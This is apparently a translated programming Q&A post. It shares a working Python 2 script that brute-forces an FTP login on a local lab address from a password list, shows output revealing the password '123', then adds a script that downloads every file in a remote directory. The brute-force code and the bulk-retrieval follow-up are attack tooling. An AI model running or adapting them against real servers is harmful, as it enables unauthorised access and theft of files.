使用 Python 连接从 FTP 检索文件

我构建了这个简单的工具来暴力破解并连接到 ftp 服务器

import socket
import ftplib
from ftplib import FTP

port=21
ip="192.168.1.108"
file1="passwords"

try:
    s=socket.socket()
    s.connect((ip,port))
    print "port",port,"is open"
    moshe=open(file1,'r')
    for line in moshe.readlines():
        password=line.strip("\n")
        print password
        try:
            ftp = ftplib.FTP(ip)
            ftp.login("NINJA",password)
            print ("THE PASSWORD IS:",password)
            break
        except ftplib.error_perm:
            print "Incorrect"
    moshe.close()
except:
    print "port",port,"is closed"


ftp = FTP(ip)
ftp.login('NINJA',password)
print "File List:"
files = ftp.dir()

目前该工具可以正常工作（我将正确的密码放在文件列表中的第三位）-当我登录时，我得到以下输出：

port 21 is open
123
('THE PASSWORD IS:', '123')
File List:
drwxr-xr-x    2 0        0            4096 Jan 17 19:15 Folder
drwxr-xr-x    2 0        0            4096 Jan 17 19:12 Folder2
drwxr-xr-x    2 0        0            4096 Jan 17 19:16 Folder3
-rw-r--r--    1 0        0               0 Jan 17 21:42 blat.txt
-rw-r--r--    1 0        0             565 Jan 17 19:10 try.py

从这里开始，我想要的是允许用户（我）检索文件1个特定文件或所有文件 - 但我不知道最简单的方法是什么

我可以选择 1 或全部，（按 1 复制全部 ->），但命令本身复制全部或仅复制一个，如果是一个，则基于我不确定该怎么做。

编辑： 将 Xendrm 建议的内容添加到代码中会产生以下结果：

Type a number for download or type 0 for all
0

Traceback (most recent call last):
  File "/home/USER/aPython scripts/BRUT FTP.py", line 49, in <module>
    download(j)
  File "/home/USER/aPython scripts/BRUT FTP.py", line 44, in download
    ftp.retrbinary("RETR " + files[j],f)
  File "/usr/lib/python2.7/ftplib.py", line 406, in retrbinary
    conn = self.transfercmd(cmd, rest)
  File "/usr/lib/python2.7/ftplib.py", line 368, in transfercmd
    return self.ntransfercmd(cmd, rest)[0]
  File "/usr/lib/python2.7/ftplib.py", line 331, in ntransfercmd
    resp = self.sendcmd(cmd)
  File "/usr/lib/python2.7/ftplib.py", line 244, in sendcmd
    return self.getresp()
  File "/usr/lib/python2.7/ftplib.py", line 219, in getresp
    raise error_perm, resp

好的，经过多次尝试和错误，我找到了如何做到这一点。 - 这个脚本将获取所选目录中的每个文件 - 不知道如何从所有子目录中获取所有文件，但这已经足够好了 - 将留在这里供将来的人查看。

from ftplib import FTP
import os # allows me to use os.chdir

port=21
ip="192.168.1.108"
password='123'

os.chdir("c:/Users/USER/Desktop/new") #changes the active dir - this is where downloaded files will be saved to
ftp = FTP("192.168.1.108")
ftp.login('NINJA',password)
print "File List:"
files = ftp.dir()

directory ="/home/FTP" #dir i want to download files from, can be changed or left for user input
filematch = '*.*' # a match for any file in this case, can be changed or left for user to input

ftp.cwd(directory)

for filename in ftp.nlst(filematch): # Loop - looking for matching files
    fhandle = open(filename, 'wb')
    print 'Getting ' + filename #for confort sake, shows the file that's being retrieved
    ftp.retrbinary('RETR ' + filename, fhandle.write)
    fhandle.close()

作为证明，这是从上面的代码收到的输出：

File List:
drwxr-xr-x    2 0        0            4096 Jan 17 19:15 Folder
